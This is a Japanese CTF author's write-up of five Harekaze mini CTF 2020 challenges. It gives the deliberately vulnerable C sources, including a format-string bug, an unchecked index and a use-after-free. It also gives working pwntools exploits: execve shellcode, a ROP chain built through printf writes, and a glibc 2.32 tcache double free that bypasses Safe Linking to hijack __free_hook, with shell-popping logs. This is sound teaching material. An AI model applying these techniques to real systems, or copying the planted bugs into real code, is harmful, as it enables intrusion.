h_nosonの日記

競プロ、CTFなど

Harekaze mini CTF 2020 Writeup

Pwn4問とMisc1問の作問をしました。

[Pwn] Shellcode

シェルコードを書く問題ですがコピペは避けたかったのでよくあるスタックを使ったシェルコードを避けるためにrspを潰して代わりに"/bin/sh"を与えています。

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("Present for you! \"/bin/sh\" is at %p\n", binsh);
    puts("Execute execve(\"/bin/sh\", NULL, NULL)");

    char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
    read(0, code + 6, 0x100);
    mprotect(code, 0x1000, PROT_READ | PROT_EXEC);

    ((void (*)())(code))();

    return 0;
}

問題にあるようにexecve("/bin/sh", NULL, NULL)を実行すればいいです。execveシステムコール番号は59なので(ausyscall x86_64 execve)、以下のようにレジスタを設定してからsyscallを呼ぶとシェルが起動できます。(参考:man syscall

  • rax: 59
  • rdi: "/bin/sh"のアドレス
  • rsi: 0
  • rdx: 0

よってシェルコードはこのようになります。

mov rdi, 0x404060
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall
$ ./exploit.py
[+] Opening connection to 20.48.83.165 on port 20005: Done
[*] Switching to interactive mode
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)
$ cat /home/shellcode/flag
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}

[Misc] NM Game

$ nc 20.48.84.64 20001
Be the last to take a pebble!
Creating a new problem...
25
How many pebbles do you want to take? [1-3]: 1
The opponent took 1 from 0
23
How many pebbles do you want to take? [1-3]: 3
The opponent took 3 from 0
17
How many pebbles do you want to take? [1-3]: 1
The opponent took 1 from 0
15
How many pebbles do you want to take? [1-3]: 3
The opponent took 1 from 0
11
How many pebbles do you want to take? [1-3]: 3
The opponent took 1 from 0
7
How many pebbles do you want to take? [1-3]: 3
The opponent took 2 from 0
2
How many pebbles do you want to take? [1-2]: 2
Won!
Remaining games: 14
Creating a new problem...
27 25
Choose a heap [0-1]: 0
How many pebbles do you want to take? [1-3]: 2
The opponent took 1 from 0
24 25
Choose a heap [0-1]:

接続すると21言ったら負けゲームのようなゲームが始まります(今回は0を言ったら勝ち)。このゲームには取った後の数字が4の倍数になるようにすれば必ず勝てます。これは、

  • 4の倍数から1~3を1度取り除くことでは4の倍数を再び作ることはできない
  • 4の倍数でない数から1~3を1度取り除くことで4の倍数を作ることができる
  • 勝ちの状態は0で4の倍数

ため常に4の倍数を取り続けることができ、最終的にその4の倍数は0になって勝つことができます。ただこのゲームはこれでは終わらずに山が2つに増え、最終的には山が15個まで増えます。

ここからはある山が4の倍数である状態を0と表し、その他の数を次の4の倍数までの差として表すことにします。例えば、24は0, 19は3です。これをGrundy数またはNimberと言います(厳密にはmexから定義されます)。なぜそうするかは後で考えるとして山ごとのGrundy数をXORしてみましょう。例えば、23, 30, 12の山があったとして3 \oplus 2 \oplus 0 = 1になります。この数は以下の条件を満たします。

  • Grundy数のXORが0以外の時、1つの山から1~3を取り除いてGrundy数のXORを0にすることができる(例:23, 30, 12 -> 23, 30, 9)
  • Grundy数のXORが0の時、1つの山から1~3を取り除いてGrundy数のXORを0にすることができない(例:23, 30, 9のGrundy数3, 2, 1を変えずに手番を回すことができない)
  • 勝ちの状態は全ての山が0でその時のGrundy数のXORは0

よって常にGrundy数のXORが0になるように保つようにすれば最終的には全ての山が0になって勝つことができます。XORを使うのは上の条件を満たすためですが、感覚的には1つの山から数を抜く時に必ずそのGrundy数が変わり、結果全体のXORの値も変化するため2つ目の条件を満たすことができるかつ同じゲームの和は0(先手の真似をすれば後手の勝ち)になるからだと思っています(Nimber - Wikipediaに証明のようなものがありますがよくわかりません)。

from pwn import *

s = remote('20.48.84.64', 20001)

for i in range(15):
    s.recvuntil('...\n')
    while True:
        nums = list(map(lambda x: int(x), s.recvline(False).decode('ascii').split(' ')))
        grundy = 0
        for num in nums:
            grundy ^= num % 4
        for index, num in enumerate(nums):
            choice = (num - (num^grundy)) % 4
            if num - choice >= 0:
                break
        if i > 0:
            s.sendlineafter(b']: ', bytes(f'{index}', 'ascii'))
        s.sendlineafter(b']: ', bytes(f'{choice}', 'ascii'))
        res = s.recvline(False)
        if res == b'Won!':
            s.recvline()
            break

s.interactive()
 $ ./solve.py
[+] Opening connection to 20.48.84.64 on port 20001: Done
[*] Switching to interactive mode
Congratulations! Here is the flag: HarekazeCTF{pe6b1y_qRundY_peb6l35}
[*] Got EOF while reading in interactive

[Pwn] NM Game Extreme

見た目はNM Gameと同じですが問題数が400と多いのと、よく見ると問題ごとに1秒のsleepがある一方300秒のタイムアウトalart(300)でかけられているので正攻法(NM Gameの方法)では解けません、pwnなので。脆弱性は山を選択する時にインデックスが有効なものか確認していないことです。これによってスタック内の変数に1~3の減算をすることができるのでremaining_gamesを1にしてからnを0に変えてループを抜けることでフラグを得られます。

#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#define min(a,b) ((a) < (b) ? (a) : (b))
#define GAMES 400
#define MAX_GAME_SIZE 15

void init_game(int *nums, int n) {
    for (int i = 0; i < n; i++) {
        nums[i] = (rand() % 50) + 20;
    }
}

void print_state(int *nums, int n) {
    for (int i = 0; i < n; i++) {
        printf("%d%c", nums[i], " \n"[i==n-1]);
    }
}

bool is_finished(int *nums, int n) {
    bool finished = true;
    for (int i = 0; i < n; i++) {
        finished &= nums[i] == 0;
    }
    return finished;
}

void opponent_action(int *nums, int n, int *index, int *num) {
    do {
        *index = rand() % n;
    } while (nums[*index] == 0);
    *num = (rand() % min(3, nums[*index])) + 1;
}

int main(void) {
    int nums[MAX_GAME_SIZE];
    int choice;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    srand(time(NULL));
    alarm(300);

    puts("Be the last to take a pebble!");

    int remaining_games = GAMES;
    while (remaining_games) {
        puts("Creating a new problem...");
        sleep(1);

        int n = min(MAX_GAME_SIZE, GAMES - remaining_games + 1);
        init_game(nums, n);
        bool won = false;
        while (!is_finished(nums, n)) {
            print_state(nums, n);

            int index;
            if (n == 1) {
                index = 0;
            } else {
                do {
                    printf("Choose a heap [0-%d]: ", n - 1);
                    scanf("%d", &index);
                } while (nums[index] == 0);
            }
            do {
                printf("How many pebbles do you want to take? ");
                if (nums[index] > 1) {
                    printf("[1-%d]: ", min(3, nums[index]));
                } else {
                    printf("[1]: ");
                }
                scanf("%d", &choice);
            } while (choice < 1 || min(3, nums[index]) < choice);
            nums[index] -= choice;
            if (is_finished(nums, n)) {
                won = true;
                break;
            }
            opponent_action(nums, n, &index, &choice);
            printf("The opponent took %d from %d\n", choice, index);
            nums[index] -= choice;
        }
        if (won) {
            remaining_games--;
            puts("Won!");
        } else {
            printf("You lost :(");
        }
        printf("Remaining games: %d\n", remaining_games);
    }

    FILE *fp = fopen("flag", "r");
    char flag[0x40] = {};
    fread(flag, 0x40, 1, fp);
    printf("Congratulations! Here is the flag: %s", flag);

    return 0;
}
from pwn import *

s = remote('20.48.84.13', 20003)

s.recvuntil('...\n')
while True:
    num = int(s.recvline(False))
    choice = max(1, num % 4)
    s.sendlineafter(']: ', bytes(f'{choice}', 'ascii'))
    res = s.recvline(False)
    if res == b'Won!':
        break;

for i in range(132):
    s.sendlineafter(']: ', '-4')
    s.sendlineafter(']: ', '3')
s.sendlineafter(']: ', '-4')
s.sendlineafter(']: ', '2')
while True:
    s.sendlineafter(']: ', '-3')
    s.sendline(chr(s.recvuntil(']: ')[-4]))
    if s.recvline(False) == b'Won!':
        break

s.interactive()
$ ./exploit.py
[+] Opening connection to 20.48.84.13 on port 20003: Done
[*] Switching to interactive mode
Remaining games: 0
Congratulations! Here is the flag: HarekazeCTF{1o0ks_lik3_w3_mad3_A_m1st4ke_ag41n}
[*] Got EOF while reading in interactive

[Pwn] Kodama

FSBのあるprintfが2回呼ばれています。PIEが有効なため1回目は"%N$p"を使ってレジスタやスタックから諸々のアドレスをリークするとして、シェルを起動するにはあと1回では不十分です。なのでまずはiを書き換えることでループの回数を増やして任意回数使えるようにします。あとはスタックにある戻り番地からROPを組んでからループ回数を戻してシェルを起動します。

#include <stdio.h>

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    puts(" /$$     /$$ /$$$$$$  /$$   /$$ /$$   /$$  /$$$$$$   /$$$$$$   /$$$$$$  /$$ /$$");
    puts("|  $$   /$$//$$__  $$| $$  | $$| $$  | $$ /$$__  $$ /$$__  $$ /$$__  $$| $$| $$");
    puts(" \\  $$ /$$/| $$  \\ $$| $$  | $$| $$  | $$| $$  \\ $$| $$  \\ $$| $$  \\ $$| $$| $$");
    puts("  \\  $$$$/ | $$$$$$$$| $$$$$$$$| $$$$$$$$| $$  | $$| $$  | $$| $$  | $$| $$| $$");
    puts("   \\  $$/  | $$__  $$| $$__  $$| $$__  $$| $$  | $$| $$  | $$| $$  | $$|__/|__/");
    puts("    | $$   | $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$        ");
    puts("    | $$   | $$  | $$| $$  | $$| $$  | $$|  $$$$$$/|  $$$$$$/|  $$$$$$/ /$$ /$$");
    puts("    |__/   |__/  |__/|__/  |__/|__/  |__/ \\______/  \\______/  \\______/ |__/|__/");
    puts("");

    char buf[0x20];

    for (int i = 0; i < 2; i++) {
        fgets(buf, 0x20, stdin);
        printf(buf);
    }
    return 0;
}
from pwn import *

s = remote('20.48.81.63', 20002)

libc = ELF('./libc.so.6')

s.recvuntil('\n\n')
s.sendline('%4$p,%15$p')
stack_addr, libc_addr = map(lambda x: int(x, 0x10), s.recvline(False).decode('ascii').split(','))
libc.address = libc_addr - 0x28cb2
log.info('libc base: %#x' % libc.address)
log.info('stack address: %#x' % stack_addr)

def fsb(target, value):
    payload = b''
    payload += bytes(f'%{value if value > 0 else 0x100}x%10$hhn', 'ascii').ljust(0x10, b' ')
    payload += p64(target)
    s.sendline(payload)

fsb(stack_addr - 1, 0xff)

pop_rdi = libc.address + 0x2858f
ret = libc.address + 0x28590

payload = b''
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\0')))
payload += p64(ret)
payload += p64(libc.symbols['system'])
for i, b in enumerate(payload):
    fsb(stack_addr + 0x38 + i, b)

fsb(stack_addr - 1, 0)

s.interactive()
$ ./exploit.py
[+] Opening connection to 20.48.81.63 on port 20002: Done
[*] '/home/vagrant/ctf/harekazectf/harekaze-mini-ctf-2020-challenges/pwn/kodama/solution/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0x7fb96235e000
[*] stack address: 0x7ffeb312c4a0
[*] Switching to interactive mode
.....
$ cat /home/kodama/flag
HarekazeCTF{n0_moun741n_no_3ch0}

[Pwn] Safe Note

#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_NOTES 7
#define MAX_SIZE 0x70

void getnline(char *buf, int size) {
    int len = 0;
    for (int i = 0; i < size-1; i++) {
        len += read(0, buf + i, 1);
        if (buf[i] == '\n') {
            len--;
            break;
        }
    }
    buf[len] = '\0';
}

int getint(void) {
    char buf[0x10];
    getnline(buf, 0x10);

    return atoi(buf);
}

void error(char *message) {
    fprintf(stderr, "%s\n", message);
    exit(-1);
}

int menu(void) {
    puts("1. Alloc");
    puts("2. Show");
    puts("3. Move");
    puts("4. Copy");
    printf("> ");

    return getint();
}

typedef struct {
    char *buf;
    unsigned int size;
} Note;

Note notes[MAX_NOTES];

void alloc(void) {
    printf("Index: ");
    unsigned int index = getint();
    if (index >= MAX_NOTES) {
        error("Invalid index");
    }
    printf("Size: ");
    unsigned int size = getint();
    if (size == 0 || size > MAX_SIZE) {
        error("Invalid size");
    }
    notes[index].buf = malloc(size);
    notes[index].size = size;
    printf("Content: ");
    getnline(notes[index].buf, size);
}

void show(void) {
    printf("Index: ");
    unsigned int index = getint();
    if (index >= MAX_NOTES || notes[index].buf == NULL) {
        error("Invalid index");
    }
    puts(notes[index].buf);
}

void copy(bool delete_src) {
    printf("Index (src): ");
    unsigned int src = getint();
    if (src >= MAX_NOTES || notes[src].buf == NULL) {
        error("Invalid index");
    }

    printf("Index (dest): ");
    unsigned int dest = getint();
    if (dest >= MAX_NOTES) {
        error("Invalid index");
    }

    char *p = NULL;
    if (notes[dest].buf == NULL) {
        p = malloc(notes[src].size);
    } else if (notes[dest].size >= notes[src].size) {
        p = notes[dest].buf;
    } else {
        error("No enough space");
    }
    memcpy(p, notes[src].buf, notes[src].size);

    if (delete_src) {
        free(notes[src].buf);
        notes[src].buf = NULL;
    }
    notes[dest].buf = p;
    notes[dest].size = notes[src].size;
}

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    for (;;) {
        switch (menu()) {
            case 1:
                alloc();
                break;
            case 2:
                show();
                break;
            case 3:
                copy(true);
                break;
            case 4:
                copy(false);
                break;
            default:
                puts("Bye");
                exit(0);
        }
    }

    return 0;
}

libcのバージョンはlibc-2.32

$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.32-0ubuntu3) release release version 2.32.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

4つの操作があります。

  1. Alloc: 0x70以下の領域を確保して内容を入力する
  2. Show: インデックスを指定して内容を表示する
  3. Move: 内容をsrcからdestにコピーしてsrcのバッファをfreeする
  4. Copy: 内容をsrcからdestにコピーする

Moveでsrcとdestが同じ時UAFを起こせます。libc-2.29からtcacheのdouble freeができなくなっていますがe->keyを潰せばできるようになるので(https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4205)、Moveでfreeした後にCopyで適当な値を書き込めばdouble freeできます。次にlibc-2.32から追加されたSafe Linkingをbypassしながら(方法は以下のコードのrevealを見てください)heapのアドレスをリークして、double freeからchunkのサイズを変えることで大きなchunk(tcacheに入らないサイズ。0x500くらい)をfreeさせてlibcのアドレスをリークします。libc-2.32から(?)unsorted binsのアドレスの下位バイトが00になってリークが難しくなったので2つ大きなchunkをfreeしてから適当なサイズの領域を確保してunsorted binsからlarge binsに移すことでリークができるようになります。後はdouble freeを使って__free_hookをsystemに書き換えて終わり。(Copyでchunkの操作が比較的自由にできるので解法は他にも色々あります)

from pwn import *

s = remote('20.48.83.103', 20004)

libc = ELF('./libc.so.6')

def alloc(index, size, content='A'):
    s.sendlineafter('> ', '1')
    s.sendlineafter('Index: ', str(index))
    s.sendlineafter('Size: ', str(size))
    s.sendlineafter('Content: ', content)

def show(index):
    s.sendlineafter('> ', '2')
    s.sendlineafter('Index: ', str(index))
    return s.recvline(False)

def move(src, dest):
    s.sendlineafter('> ', '3')
    s.sendlineafter('(src): ', str(src))
    s.sendlineafter('(dest): ', str(dest))

def copy(src, dest):
    s.sendlineafter('> ', '4')
    s.sendlineafter('(src): ', str(src))
    s.sendlineafter('(dest): ', str(dest))

def reveal(ptr):
    for shift in range(0, 0x30, 0xc)[::-1]:
        ptr = (0xfff << shift & ptr) >> 0xc ^ ptr
    return ptr

def protect(ptr):
    return ptr ^ heap_base >> 0xc

alloc(0, 0x18)
alloc(1, 0x18)
move(0, 0)
for i in range(4):
    copy(1, 0)
    move(0, 0)
heap_base = reveal(u64(show(0).ljust(8, b'\0'))) - 0x2a0
log.info('heap base: %#x' % heap_base)

alloc(1, 0x28, p64(0) * 4 + p64(protect(heap_base + 0x830))[:-2])
alloc(1, 0x70)
for i in range(9):
    alloc(2, 0x70)
alloc(2, 0x28, p64(0) * 4 + p64(protect(heap_base + 0x310))[:-2])
alloc(2, 0x70)
for i in range(9):
    alloc(3, 0x70)
alloc(0, 0x28)
alloc(0, 0x18, p64(protect(heap_base + 0x300)))
alloc(0, 0x18)
alloc(0, 0x18, p64(0) + p64(0x501))
alloc(0, 0x18, p64(0) + p64(0x501))
alloc(0, 0x18)
move(1, 3)
move(2, 3)
alloc(1, 0x28)

libc.address = u64(show(0).ljust(8, b'\0')) - 0x1e4030
log.info('libc base: %#x' % libc.address)

alloc(0, 0x18)
alloc(1, 0x18, p64(0) * 2)
move(0, 0)
for i in range(2):
    copy(1, 0)
    move(0, 0)
alloc(0, 0x18, p64(protect(libc.symbols['__free_hook'])))
alloc(0, 0x18)
alloc(0, 0x18, p64(libc.symbols['system']))
alloc(0, 0x18, '/bin/sh')
move(0, 0)

s.interactive()
$ ./exploit.py
[+] Opening connection to 20.48.83.103 on port 20004: Done
[*] '/home/vagrant/ctf/harekazectf/harekaze-mini-ctf-2020-challenges/pwn/safe-note/solution/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] heap base: 0x55e7bb6af000
[*] libc base: 0x7f25aee7b000
[*] Switching to interactive mode
$ cat /home/safenote/flag
HarekazeCTF{7c4ch3_1s_5ti1l_9re47}

感想

個人的にrev partが嫌いで本質に集中したいのでソースコードを全問題につけたのが割と好評でよかったです。mini CTFではなくても現状このぐらいの難易度の問題しか作れないので難しい問題作れるようになりたいですね(毎年言ってる)